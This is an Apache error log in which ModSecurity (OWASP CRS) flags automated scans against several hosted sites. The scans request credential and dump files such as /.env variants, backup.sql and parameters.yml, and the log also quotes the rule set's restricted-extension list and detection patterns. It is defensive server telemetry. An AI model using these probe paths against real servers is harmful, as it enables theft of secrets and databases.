[Fri Jul 17 08:28:25.169663 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/backup.sql"] [unique_id "almaUY1dLClkUfK_dfHhkQAAAAI"]
[Fri Jul 17 08:28:25.170007 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/backup.sql"] [unique_id "almaUY1dLClkUfK_dfHhkQAAAAI"]
[Fri Jul 17 08:28:25.170157 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:25.170324 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaUY1dLClkUfK_dfHhkQAAAAI"]
[Fri Jul 17 08:28:25.233488 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaUeN_HRgVfO4akvmJzAAAABg"]
[Fri Jul 17 08:28:25.233754 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaUeN_HRgVfO4akvmJzAAAABg"]
[Fri Jul 17 08:28:25.234086 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaUeN_HRgVfO4akvmJzAAAABg"]
[Fri Jul 17 08:28:25.241139 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.198.65.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdcback.jrdc.lk"] [uri "/database.sql"] [unique_id "almaUd0t9Kb_MdNxrg6-ygAAAAM"]
[Fri Jul 17 08:28:25.241638 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/database.sql"] [unique_id "almaUd0t9Kb_MdNxrg6-ygAAAAM"]
[Fri Jul 17 08:28:25.241811 2026] [hostinglimits:warn] [pid 1993574:tid 1993574] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993574) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:25.242000 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaUd0t9Kb_MdNxrg6-ygAAAAM"]
[Fri Jul 17 08:28:25.265277 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.admin.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaUVxP5-SsqbGuGB2lKgAAAAA"]
[Fri Jul 17 08:28:25.265767 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.admin.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaUVxP5-SsqbGuGB2lKgAAAAA"]
[Fri Jul 17 08:28:25.266066 2026] [security2:error] [pid 1993584:tid 1993584] [client 13.221.94.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.admin.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaUVxP5-SsqbGuGB2lKgAAAAA"]
[Fri Jul 17 08:28:25.289472 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:25.326854 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.198.65.184:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.dev"] [unique_id "almaUY1dLClkUfK_dfHhkgAAAAI"]
[Fri Jul 17 08:28:25.327114 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdcback.jrdc.lk"] [uri "/.env.dev"] [unique_id "almaUY1dLClkUfK_dfHhkgAAAAI"]
[Fri Jul 17 08:28:25.327233 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:25.327353 2026] [security2:error] [pid 1993619:tid 1993619] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/index.php"] [unique_id "almaUY1dLClkUfK_dfHhkgAAAAI"]
[Fri Jul 17 08:28:25.647755 2026] [security2:error] [pid 1993668:tid 1993668] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaSxAi3pC6yjXGNq19UwAAAAU"]
[Fri Jul 17 08:28:25.712870 2026] [mime:warn] [pid 2013828:tid 2013828] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:28:26.079129 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaUt0t9Kb_MdNxrg6-ywAAAAM"]
[Fri Jul 17 08:28:26.079476 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaUt0t9Kb_MdNxrg6-ywAAAAM"]
[Fri Jul 17 08:28:26.079792 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/data.sql"] [unique_id "almaUt0t9Kb_MdNxrg6-ywAAAAM"]
[Fri Jul 17 08:28:26.119429 2026] [security2:error] [pid 1993572:tid 1993572] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaUol9vhFBGA6D8l92aQAAAAw"]
[Fri Jul 17 08:28:26.119721 2026] [security2:error] [pid 1993572:tid 1993572] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaUol9vhFBGA6D8l92aQAAAAw"]
[Fri Jul 17 08:28:26.119937 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1031) HANDLER(application/x-httpd-ea-php81) HOSTNAME(www.jrdcback.jrdc.lk) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:26.120064 2026] [security2:error] [pid 1993572:tid 1993572] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaUol9vhFBGA6D8l92aQAAAAw"]
[Fri Jul 17 08:28:26.121282 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaUuN_HRgVfO4akvmJzgAAABg"]
[Fri Jul 17 08:28:26.121518 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaUuN_HRgVfO4akvmJzgAAABg"]
[Fri Jul 17 08:28:26.121809 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaUuN_HRgVfO4akvmJzgAAABg"]
[Fri Jul 17 08:28:26.121856 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaUuN_HRgVfO4akvmJzgAAABg"]
[Fri Jul 17 08:28:26.121869 2026] [security2:error] [pid 2013828:tid 2013828] [client 34.205.41.129:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaUuN_HRgVfO4akvmJzgAAABg"]
[Fri Jul 17 08:28:26.194676 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env"] [unique_id "almaUt0t9Kb_MdNxrg6-zAAAAAM"]
[Fri Jul 17 08:28:26.194911 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env"] [unique_id "almaUt0t9Kb_MdNxrg6-zAAAAAM"]
[Fri Jul 17 08:28:26.195203 2026] [security2:error] [pid 1993574:tid 1993574] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env"] [unique_id "almaUt0t9Kb_MdNxrg6-zAAAAAM"]
[Fri Jul 17 08:28:26.365541 2026] [security2:error] [pid 2014279:tid 2014279] [client 32.198.65.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdcback.jrdc.lk"] [uri "/cgi-sys/ea-php81/index.php"] [unique_id "almaT0z_ZDvgWqiMlMbLVgAAAB0"]
[Fri Jul 17 08:28:26.399194 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:37900] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:28:26.471921 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.205.41.129:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaUmidQp3SsqeycPEswgAAAAo"]
[Fri Jul 17 08:28:26.472157 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.205.41.129:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaUmidQp3SsqeycPEswgAAAAo"]
[Fri Jul 17 08:28:26.472479 2026] [security2:error] [pid 1993998:tid 1993998] [client 34.205.41.129:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.snehademo.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaUmidQp3SsqeycPEswgAAAAo"]
